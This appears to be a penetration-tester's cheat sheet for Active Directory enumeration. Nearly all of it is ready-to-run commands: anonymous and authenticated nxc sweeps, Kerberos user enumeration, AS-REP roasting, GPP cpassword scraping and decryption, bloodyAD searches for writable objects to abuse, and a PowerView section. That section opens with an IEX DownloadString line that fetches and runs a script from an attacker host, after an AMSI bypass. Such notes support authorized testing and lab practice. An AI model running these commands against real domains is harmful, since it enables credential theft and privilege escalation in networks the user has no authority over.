Enumeration

Sections Enumeration

AD enum, pre-auth and post-auth. LDAP filter-level work is in LDAP . Local Windows host enum is in Local Enum .

DC=10.10.11.50
DOMAIN=corp.local
BASE='DC=corp,DC=local'
USER='svc_user'
PASS='Password1'
NTHASH='8846f7eaee8fb117ad06bdd830b7586c'

0. Pre-flight: hosts file and krb5 config

Do this once per engagement before any other AD work. Kerberos and SPN-based tools all expect FQDN resolution.

Generate /etc/hosts entries from the DC’s LDAP info:

nxc smb $DC --generate-hosts-file h && sudo tee -a /etc/hosts < h && rm h

This pulls hostname, FQDN, and IPs from the SMB banner and writes them in /etc/hosts format. Run it for every new DC or important host you discover. Verify:

grep $DOMAIN /etc/hosts

Generate a krb5 config:

nxc smb $DC --generate-krb5-file krb5.$DOMAIN.conf

Use the env var so you never touch the global /etc/krb5.conf:

export KRB5_CONFIG=$(pwd)/krb5.$DOMAIN.conf
## Verify it's picked up:
klist -V 2>/dev/null; env | grep KRB5

Now Kerberos auth works from any tool without polluting the system config. Multi-domain engagements: keep a krb5.$DOMAIN.conf per realm, switch via export KRB5_CONFIG=....

i. Pre-auth: what you can get with nothing

Anonymous SMB and LDAP, RID brute, Kerberos user enum, ASREP-roast without creds.

Hostname, domain, OS, signing status, all from a single nxc call:

nxc smb $DC
nxc ldap $DC                                    ## also shows LDAP signing + channel binding

Anonymous SMB share list:

nxc smb $DC --shares -u '' -p ''
smbclient -L "//$DC" -N

Null-session RID brute (works on legacy):

nxc smb $DC --rid-brute 10000 -u '' -p ''
impacket-lookupsid 'anonymous'@$DC -no-pass

Anonymous LDAP bind:

ldapsearch -x -H ldap://$DC -s base namingcontexts
nxc ldap $DC -u '' -p '' --users
nxc ldap $DC -u '' -p '' --asreproast asrep-anon.txt    ## works on no-preauth users without creds

Kerberos user enum (no creds, just a user list):

kerbrute userenum -d $DOMAIN --dc $DC /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -o users.valid

ii. With creds: the full nxc sweep

nxc ldap $DC -u $USER -p $PASS --users
nxc ldap $DC -u $USER -p $PASS --groups
nxc ldap $DC -u $USER -p $PASS --computers
nxc ldap $DC -u $USER -p $PASS --pass-pol
nxc ldap $DC -u $USER -p $PASS --admin-count
nxc ldap $DC -u $USER -p $PASS --get-sid
nxc ldap $DC -u $USER -p $PASS --dc-list
nxc ldap $DC -u $USER -p $PASS --trusted-for-delegation
nxc ldap $DC -u $USER -p $PASS --password-not-required
nxc ldap $DC -u $USER -p $PASS --get-desc-users
nxc ldap $DC -u $USER -p $PASS --find-delegation
nxc ldap $DC -u $USER -p $PASS --gmsa

PtH variant, no password needed:

nxc ldap $DC -u $USER -H $NTHASH --users

Common modules that come back enabled by default in modern nxc:

nxc ldap $DC -u $USER -p $PASS -M maq                 ## machine account quota
nxc ldap $DC -u $USER -p $PASS -M get-network         ## subnets and sites
nxc ldap $DC -u $USER -p $PASS -M laps                ## read LAPS where allowed
nxc ldap $DC -u $USER -p $PASS -M adcs                ## ADCS templates
nxc ldap $DC -u $USER -p $PASS -M user-desc           ## pull all user descriptions
nxc ldap $DC -u $USER -p $PASS -M enum_trusts
nxc ldap $DC -u $USER -p $PASS -M ldap-checker        ## LDAP signing + channel binding
Authentication formats nxc supports

-p 'pass', -H NTLM, --aesKey AES256KEY for Kerberos, --use-kcache to use ccache from KRB5CCNAME. PtT works on every protocol.

iii. bloodyAD enum, the LDAP-native way

bloodyAD is the cleanest LDAP enum tool because every command maps to a single LDAP operation. Useful when nxc is loud or you want surgical reads.

Global flags reminder:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC <subcommand>
## PtH:
bloodyAD -d $DOMAIN -u $USER -p ":$NTHASH" --host $DC <subcommand>
## Kerberos:
bloodyAD -d $DOMAIN -u $USER -k --host $DC <subcommand>

Get any object’s attributes (whole object, or specific attrs):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object Administrator
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object Administrator --attr memberOf,userAccountControl
## Domain-level info (password policy, behaviour version):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object "$BASE" --attr minPwdLength,lockoutThreshold,lockOutObservationWindow,lockoutDuration,msDS-Behavior-Version
## RootDSE (empty target):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object ""

Search with LDAP filter, returns specific attrs:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search --filter '(objectClass=user)' --attr samaccountname,description
## Kerberoastable accounts:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr samaccountname,servicePrincipalName
## AS-REP roastable:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr samaccountname
## Unconstrained delegation:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' --attr samaccountname,dNSHostName
## Constrained delegation:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search --filter '(msDS-AllowedToDelegateTo=*)' --attr samaccountname,msDS-AllowedToDelegateTo

Group membership (recursive by default):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get membership $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get membership Administrator --no-recurse

DNS dump, every DNS record readable by the user:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get dnsDump
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get dnsDump --zone $DOMAIN

Trust enum as a tree:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts --transitive

Children of an OU/container, useful for finding stuck-away service accounts:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get children --target "OU=Servers,$BASE"
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get children --otype user

iv. The killer feature: get writable

What can YOU modify? This is the shortcut to every ACL-based privesc path. Run it early.

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --detail
## Output a BloodHound-compatible zip with just the writable objects:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --bh
## Filter to object type and right type:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --otype USER --right WRITE
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --otype COMPUTER --right ALL --detail

The output tells you exactly which attributes you can write on which objects. Every entry is an ACL abuse candidate, see ACL Abuse .

v. GPP cpassword and SYSVOL scrape

SYSVOL is readable by every authenticated user. Old GPP files still have cpasswords:

nxc smb $DC -u $USER -p $PASS -M gpp_password
nxc smb $DC -u $USER -p $PASS -M gpp_autologin
## Manual scrape:
mount -t cifs "//$DC/SYSVOL" /mnt/sysvol -o user=$USER,password=$PASS
grep -RIE 'cpassword|password|Password' /mnt/sysvol/ 2>/dev/null

Decrypt cpassword (key is public):

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

vi. ldapdomaindump for a full HTML report

Easy-to-read enum dump for the report or for sharing:

ldapdomaindump $DC -u "$DOMAIN\\$USER" -p $PASS -o ldd-out
## Or with hash:
ldapdomaindump $DC -u "$DOMAIN\\$USER" -p :"$NTHASH" -o ldd-out
## Outputs: domain_users.html, domain_computers.html, domain_groups.html, domain_policy.html, domain_trusts.html

vii. PowerView (when you have a Windows foothold)

When you’re already on a domain-joined Windows host, PowerView is still the cleanest in-process AD recon. AMSI bypass first, see Defender & AMSI Evasion .

IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/PowerView.ps1')
Get-NetUser | select samaccountname,description,memberof
Get-NetGroup 'Domain Admins' | Get-NetGroupMember
Get-NetComputer | select dnshostname,operatingsystem
Get-DomainController
Get-DomainTrust
Get-DomainOU
Get-DomainGPO
Find-DomainUserLocation -ComputerIdentity 'DC01'    ## who's logged on where
Find-DomainShare
## Look for stale objects:
Get-DomainUser -PreauthNotRequired                  ## ASREP-roastable
Get-DomainUser -SPN                                 ## Kerberoastable
Get-DomainUser -TrustedToAuth                       ## constrained delegation
Get-DomainComputer -Unconstrained

viii. Order of operations on a fresh AD foothold

  1. nxc smb $DC / nxc ldap $DC to confirm domain and signing posture
  2. Pre-auth: kerbrute userenum, anonymous asreproast (-u '' -p '')
  3. With creds: full nxc sweep (section ii)
  4. bloodyAD get writable --bh immediately, see what your account can already abuse
  5. Collect BloodHound data, see BloodHound
  6. Read attack paths in BloodHound, work the shortest path
  7. ACL abuse, see ACL Abuse
  8. Kerberos attacks (Kerberoasting , AS-REP Roasting )
  9. Delegation (Delegation ) and ADCS (ADCS ESC1-16 )
Time saver

If you have ANY valid credential, jump to BloodHound first. The graph tells you the shortest path. Manual enum is for filling gaps the graph leaves out.